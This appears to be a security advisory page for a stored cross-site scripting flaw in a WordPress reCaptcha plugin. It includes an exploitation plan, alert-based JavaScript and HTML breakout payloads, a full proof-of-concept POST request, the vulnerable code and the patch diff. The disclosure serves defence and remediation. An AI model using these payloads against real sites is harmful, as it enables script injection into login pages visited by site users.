CVE-2026-4512

reCaptcha by WebDesignBy < 2.0 - Authenticated (Administrator+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
4.4
CVSS Score
4.4
CVSS Score
medium
Severity
2.0
Patched in
7d
Time to patch

Description

The reCaptcha by WebDesignBy plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to 2.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<2.0
PublishedApril 24, 2026
Last updatedApril 30, 2026
Affected pluginwebdesignby-recaptcha

What Changed in the Fix

Changes introduced in v2.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-4512 - Stored XSS in reCaptcha by WebDesignBy ## 1. Vulnerability Summary The **reCaptcha by WebDesignBy** plugin (versions < 2.0) contains a stored cross-site scripting (XSS) vulnerability. The plugin allows administrators to save Google reCaptcha API keys (`…

Show full research plan

Exploitation Research Plan: CVE-2026-4512 - Stored XSS in reCaptcha by WebDesignBy

1. Vulnerability Summary

The reCaptcha by WebDesignBy plugin (versions < 2.0) contains a stored cross-site scripting (XSS) vulnerability. The plugin allows administrators to save Google reCaptcha API keys (g_site_key and g_secret_key). These inputs are stored in the database without sanitization and are subsequently rendered in the WordPress admin settings page and the WordPress login page without output escaping.

The vulnerability is particularly significant in multi-site environments or installations where the unfiltered_html capability has been disabled for administrators, as it allows persistent script injection into sensitive areas (like the login page) that would otherwise be protected.

2. Attack Vector Analysis

  • Vulnerable Endpoint: The plugin settings page in the WordPress admin dashboard.
  • URL: /wp-admin/options-general.php?page=webdesignby-recaptcha
  • Hook: admin_enqueue_scripts in class/Recaptcha.php handles the save logic when $_POST is present.
  • HTTP Parameter: webdesignby_recaptcha[g_site_key] and webdesignby_recaptcha[g_secret_key].
  • Required Authentication: Administrator level (specifically users with the manage_options capability).
  • Preconditions:
    1. Plugin must be active.
    2. Attacker must have an account with manage_options permissions.
    3. To demonstrate a bypass of WordPress core protections, define( 'DISALLOW_UNFILTERED_HTML', true ); should ideally be set in wp-config.php, although the lack of escaping is a vulnerability regardless.

3. Code Flow

  1. Input: In class/Recaptcha.php, the admin_enqueue_scripts() method is hooked to admin_enqueue_scripts. It checks if $_POST is not empty.
  2. Processing: It retrieves the POST data:
    $arr_recaptcha_vars = $_POST['webdesignby_recaptcha'];
    $g_site_key = trim( $arr_recaptcha_vars['g_site_key'] );
    
    Note that only trim() is applied; no sanitize_text_field() or similar sanitization occurs.
  3. Storage: The values are stored in the options table:
    update_option('webdesignby_recaptcha', $webdesignby_recaptcha );
    
  4. Output Sink 1 (JavaScript Context): The method grecaptcha_js() (in class/Recaptcha.php) echoes the value directly into a <script> block:
    'sitekey' : '<?php echo $this->_site_key; ?>',
    
  5. Output Sink 2 (HTML Attribute Context): In class/RecaptchaOptionsPage.php, the settings_page() method echoes the value into an input field's value attribute:
    value="<?php echo trim($opt['g_site_key']); ?>"
    
    No esc_attr() or esc_html() is used.

4. Nonce Acquisition Strategy

The plugin uses the WordPress Settings API pattern but manually handles the POST request. It uses a nonce for CSRF protection.

  • Nonce Name: _wpnonce
  • Action String: process
  • Source: Generated in class/RecaptchaOptionsPage.php via <?php echo wp_nonce_field('process'); ?>.
  • Verification: Checked in class/Recaptcha.php via check_admin_referer( 'process' );.

Acquisition Steps:

  1. Use browser_navigate to go to /wp-admin/options-general.php?page=webdesignby-recaptcha.
  2. Use browser_eval to extract the nonce:
    document.querySelector('input[name="_wpnonce"]').value
    

5. Exploitation Strategy

The goal is to inject a payload into g_site_key that breaks out of the JavaScript string and executes arbitrary code.

Step-by-Step Plan:

  1. Login: Authenticate as an administrator.
  2. Navigate: Visit the settings page to trigger the script loading and obtain the nonce.
  3. Extract Nonce: Capture the value of the _wpnonce field.
  4. Execute Payload: Send a POST request to the settings page with the XSS payload.
  5. Payload Selection:
    • For the JS sink: ');alert(document.domain);//
    • This results in: 'sitekey' : '');alert(document.domain);//',
  6. Trigger Verification: Navigate to wp-login.php or refresh the settings page.

HTTP Request (PoC):

POST /wp-admin/options-general.php?page=webdesignby-recaptcha HTTP/1.1
Content-Type: application/x-www-form-urlencoded

_wpnonce=[EXTRACTED_NONCE]&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwebdesignby-recaptcha&webdesignby_recaptcha%5Bg_site_key%5D=%27%29%3Balert%281%29%3B%2F%2F&webdesignby_recaptcha%5Bg_secret_key%5D=secret&submit=Save+Changes

6. Test Data Setup

  1. User: Create a user with the administrator role.
  2. Environment Configuration: (Optional but recommended) Add define( 'DISALLOW_UNFILTERED_HTML', true ); to wp-config.php to prove that the plugin bypasses core security policies.
  3. Plugin State: Ensure webdesignby-recaptcha is activated.

7. Expected Results

  • After sending the POST request, the response should contain the message "Settings saved".
  • When visiting /wp-login.php, the injected JavaScript alert(1) should execute because the login_enqueue_scripts hook calls grecaptcha_js().
  • When viewing the source of /wp-login.php, the following code should be visible:
    var onloadCallback = function() {
        recaptcha1 = grecaptcha.render('g-recaptcha1', {
          'sitekey' : '');alert(1);//',
          'theme' : 'light'
        });
    };
    

8. Verification Steps

  1. Check Database: Use WP-CLI to verify the stored option:
    wp option get webdesignby_recaptcha
    
    Expect to see the payload ');alert(1);// in the g_site_key field.
  2. Verify Output: Use http_request to fetch the login page and check for the presence of the payload:
    # Look for the broken sitekey line
    http_request "http://localhost:8080/wp-login.php" | grep "alert(1)"
    

9. Alternative Approaches

If the JavaScript breakout '); is filtered (unlikely given the code), an HTML breakout can be attempted for Sink 2 in the settings page:

  • Payload: "><script>alert(1)</script>
  • Target: webdesignby_recaptcha[g_site_key]
  • Effect: This will break out of the value attribute of the input tag in the admin settings page:
    <input ... value=""><script>alert(1)</script>" />
    
  • Verification: This payload would execute in the admin's browser immediately after saving or upon returning to the settings page.
Research Findings
Static analysis — not yet PoC-verified

Summary

The reCaptcha by WebDesignBy plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'g_site_key' and 'g_secret_key' parameters due to missing input sanitization and output escaping. Authenticated attackers with administrator-level permissions can inject arbitrary scripts that execute when users access the settings page or the WordPress login page, effectively bypassing unfiltered_html restrictions.

Vulnerable Code

// class/Recaptcha.php lines 49-55
        var recaptcha1;
        var onloadCallback = function() {
            recaptcha1 = grecaptcha.render('g-recaptcha1', {
              'sitekey' : '<?php echo $this->_site_key; ?>',
              'theme' : 'light'
            });

---

// class/Recaptcha.php lines 66-68
                check_admin_referer( 'process' );
                $arr_recaptcha_vars = $_POST['webdesignby_recaptcha'];
                $g_site_key = trim( $arr_recaptcha_vars['g_site_key'] );
                $g_secret_key = trim( $arr_recaptcha_vars['g_secret_key'] );

---

// class/RecaptchaOptionsPage.php lines 37-38
                                <th><label for="webdesignby_recaptcha[g_site_key]"><?php echo __('Site Key', 'webdesignby-recaptcha'); ?>:</label></th>
                                <td><input name="webdesignby_recaptcha[g_site_key]" id="g_site_key" type="text" class="regular-text code" value="<?php echo trim($opt['g_site_key']); ?>" /></td>

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/webdesignby-recaptcha/1.7/class/RecaptchaOptionsPage.php /home/deploy/wp-safety.org/data/plugin-versions/webdesignby-recaptcha/2.0/class/RecaptchaOptionsPage.php
--- /home/deploy/wp-safety.org/data/plugin-versions/webdesignby-recaptcha/1.7/class/RecaptchaOptionsPage.php	2017-02-08 11:15:46.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/webdesignby-recaptcha/2.0/class/RecaptchaOptionsPage.php	2026-03-26 11:31:24.000000000 +0000
@@ -20,11 +20,18 @@
 
                    
                     $opt = get_option('webdesignby_recaptcha');
+                    if( ! $opt || ! is_array($opt)){
+                        $opt = array(
+                            'g_site_key'    =>  '',
+                            'g_secret_key'  =>  '',
+                        );
+                    }
                     
                     
                     ?>
                     <h1><?php echo __('reCaptcha Settings', 'webdesignby-recaptcha'); ?></h1>
                     <p>Generate a new site key and secret at:<br /><strong><a href="https://www.google.com/recaptcha/admin" target="_blank">https://www.google.com/recaptcha/admin</a></strong></p>
+                    <p>This plugin is configured to work with reCAPTCHA v2. When you generate your keys, make sure to select the "reCAPTCHA v2" option and then select "I'm not a robot" Checkbox.</p>
                     <?php
                     if( ! empty($this->message))
                         echo $this->message;
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/webdesignby-recaptcha/1.7/class/Recaptcha.php /home/deploy/wp-safety.org/data/plugin-versions/webdesignby-recaptcha/2.0/class/Recaptcha.php
--- /home/deploy/wp-safety.org/data/plugin-versions/webdesignby-recaptcha/1.7/class/Recaptcha.php	2017-02-08 10:49:40.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/webdesignby-recaptcha/2.0/class/Recaptcha.php	2026-03-26 11:31:24.000000000 +0000
@@ -49,7 +49,7 @@
         var recaptcha1;
         var onloadCallback = function() {
             recaptcha1 = grecaptcha.render('g-recaptcha1', {
-              'sitekey' : '<?php echo $this->_site_key; ?>',
+              'sitekey' : <?php echo wp_json_encode( $this->_site_key ); ?>,
               'theme' : 'light'
             });
 
@@ -62,13 +62,13 @@
 
         $screen = \get_current_screen();
         $plugin_screen_id = "settings_page_webdesignby-recaptcha";
+        $g_site_key = $g_secret_key = "";
         if( $screen->id == $plugin_screen_id){
-            
              if( ! empty($_POST) ){
                 check_admin_referer( 'process' );
                 $arr_recaptcha_vars = $_POST['webdesignby_recaptcha'];
-                $g_site_key = trim( $arr_recaptcha_vars['g_site_key'] );
-                $g_secret_key = trim( $arr_recaptcha_vars['g_secret_key'] );
+                $g_site_key = sanitize_text_field( trim( $arr_recaptcha_vars['g_site_key'] ) );
+                $g_secret_key = sanitize_text_field( trim( $arr_recaptcha_vars['g_secret_key'] ) );
                 $webdesignby_recaptcha = array();
                 $this->_site_key = $webdesignby_recaptcha['g_site_key'] = $g_site_key;
                 $this->_secret_key = $webdesignby_recaptcha['g_secret_key'] = $g_secret_key;

Exploit Outline

The exploit target is the plugin's settings page, specifically the handling of Google reCaptcha API keys. 1. Authentication: The attacker must be authenticated as a WordPress Administrator (with 'manage_options' capability). 2. Nonce Acquisition: Navigate to the settings page at `/wp-admin/options-general.php?page=webdesignby-recaptcha` and extract the CSRF nonce from the `_wpnonce` input field. 3. Payload Injection: Send a POST request to the same endpoint containing the `_wpnonce` and the `webdesignby_recaptcha[g_site_key]` parameter. Use a payload such as `');alert(1);//` to break out of the JavaScript string context in the `grecaptcha.render` function. 4. Execution: The injected script will execute whenever any user visits the WordPress login page (`wp-login.php`) or when an administrator visits the plugin's settings page, as the stored site key is rendered directly into a `<script>` block without escaping.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.